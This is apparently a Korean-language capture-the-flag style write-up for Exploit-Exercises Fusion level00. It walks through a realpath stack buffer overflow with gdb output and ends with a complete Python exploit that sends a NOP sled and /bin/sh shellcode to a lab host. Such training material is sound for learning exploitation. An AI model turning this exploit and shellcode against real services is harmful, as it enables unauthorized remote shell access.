[exploit-exercises] fusion level00
[ fusion level00 ]
1#include "../common/common.c" 2 3int fix_path(char *path) 4{ 5 char resolved[128]; 6 7 if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open 8 strcpy(path, resolved); 9} 10 11char *parse_http_request() 12{ 13 char buffer[1024]; 14 char *path; 15 char *q; 16 17 printf("[debug] buffer is at 0x%08x :-)\n", buffer); 18 19 if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); 20 if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); 21 22 path = &buffer[4]; 23 q = strchr(path, ' '); 24 if(! q) errx(0, "No protocol version specified"); 25 *q++ = 0; 26 if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol"); 27 28 fix_path(path); 29 30 printf("trying to access %s\n", path); 31 32 return path; 33} 34 35int main(int argc, char **argv, char **envp) 36{ 37 int fd; 38 char *p; 39 40 background_process(NAME, UID, GID); 41 fd = serve_forever(PORT); 42 set_io(fd); 43 44 parse_http_request(); 45}
char buffer[1024]인 메모리에 sizeof(buffer)만큼 read한다.
처음 13byte는 "GET HTTP/1.1"가 되도록 검사하고 fix_path함수를 호출한다.
realpath(path, resolved) 부분에서 path 배열의 값을 절대경로로 변환하여 resolved 배열에 복사하는 역할을 한다.
이때 1024byte의 path 배열을 128byte짜리 resolved 배열에 복사하려니 overflow가 발생한다.
resolved에서 ret까지의 거리를 정확히 구하기 위해서 gdb를 사용한다.
디버깅하는 방법은 : http://wisedier.tistory.com/89 을 참고했다.
$gdb -q -p `pgrep level00`
먼저 serve_forever에서 fork()하여 실제로 fix_path를 수행하는 프로세스는 자식 프로세스이므로 gdb에서 자식 프로세스를 디버깅하도록 설정해 주어야 한다.
(gdb) set follow-fork-mode child
(gdb) disass fix_path
Dump of assembler code for function fix_path:
0x08049815 <+0>: push %ebp
0x08049816 <+1>: mov %esp,%ebp
0x08049818 <+3>: sub $0x98,%esp
0x0804981e <+9>: mov 0x8(%ebp),%eax
0x08049821 <+12>: lea -0x88(%ebp),%edx
0x08049827 <+18>: mov %edx,0x4(%esp)
0x0804982b <+22>: mov %eax,(%esp)
0x0804982e <+25>: call 0x8048a20 <realpath@plt>
0x08049833 <+30>: test %eax,%eax
0x08049835 <+32>: jne 0x804983e <fix_path+41>
0x08049837 <+34>: mov $0x1,%eax
0x0804983c <+39>: jmp 0x8049853 <fix_path+62>
0x0804983e <+41>: lea -0x88(%ebp),%eax
0x08049844 <+47>: mov %eax,0x4(%esp)
0x08049848 <+51>: mov 0x8(%ebp),%eax
0x0804984b <+54>: mov %eax,(%esp)
0x0804984e <+57>: call 0x80489a0 <strcpy@plt>
0x08049853 <+62>: leave
0x08049854 <+63>: ret
End of assembler dump.
(gdb) b *0x0804982e
Breakpoint 1 at 0x804982e: file level00/level00.c, line 7.
(gdb) b *0x08049833
Breakpoint 2 at 0x8049833: file level00/level00.c, line 7.
(gdb) c
# 128byte의 'a'문자열을 보낸 후
[New process 1916]
[Switching to process 1916]
Breakpoint 1, 0x0804982e in fix_path (path=0xbfddfd1c 'a' <repeats 128 times>) at level00/level00.c:7
7 level00/level00.c: No such file or directory.
in level00/level00.c
(gdb) x/4i $eip
=> 0x804982e <fix_path+25>: call 0x8048a20 <realpath@plt>
0x8049833 <fix_path+30>: test %eax,%eax
0x8049835 <fix_path+32>: jne 0x804983e <fix_path+41>
0x8049837 <fix_path+34>: mov $0x1,%eax
(gdb) x/4x $esp
0xbfddfc60: 0xbfddfd1c 0xbfddfc70 0x000003f3 0x00000200
(gdb) x/10x 0xbfddfd1c # 1024byte의 buffer 배열
0xbfddfd1c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfd2c: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfd3c: 0x61616161 0x61616161
(gdb) x/10x 0xbfddfc70 # 128byte의 resolved 배열
0xbfddfc70: 0xb75b0d20 0x00010101 0xb774f58c 0xb75b6dc0
0xbfddfc80: 0xb7733858 0x00000000 0x00000000 0x00000001
0xbfddfc90: 0x000000f3 0xffffffff
(gdb) n
Breakpoint 2, 0x08049833 in fix_path (path=0xbfddfd1c 'a' <repeats 128 times>) at level00/level00.c:7
7 in level00/level00.c
(gdb) x/50x 0xbfddfc70
0xbfddfc70: 0x6161612f 0x61616161 0x61616161 0x61616161
0xbfddfc80: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfc90: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfca0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfcb0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfcc0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfcd0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfce0: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfcf0: 0xbfdd0061 0xb7754918 0xbfde0128 0x08049970
0xbfddfd00: 0xbfddfd1c 0x00000020 0x00000004 0x00000000
0xbfddfd10: 0x001761e4 0xbfddfda0 0x20544547 0x61616161
0xbfddfd20: 0x61616161 0x61616161 0x61616161 0x61616161
0xbfddfd30: 0x61616161 0x61616161
(gdb)
128byte의 'a'문자열 다음 11byte의 dummy값 이후에 리턴 값이 존재한다.
[ payload ]
[ 139 dummy ] [ret] [ nop * 100] [ shellcode ] [ 'HTTP/1.1' ]
from socket import socket, AF_INET, SOCK_STREAM
import struct
HOST = '192.168.11.138'
PORT = 20000
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
#execve('/bin/sh')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80'
payload = 'GET ' #4byte
payload += 'a'*139 #&buffer[4]
payload += struct.pack('<I', 0xbfddfd18+len(payload)+50)
payload += '\x90'*100 + shellcode
payload += ' HTTP/1.1' #9byte
print s.recv(1000)
s.send(payload + '\n')
sock_cmd(s)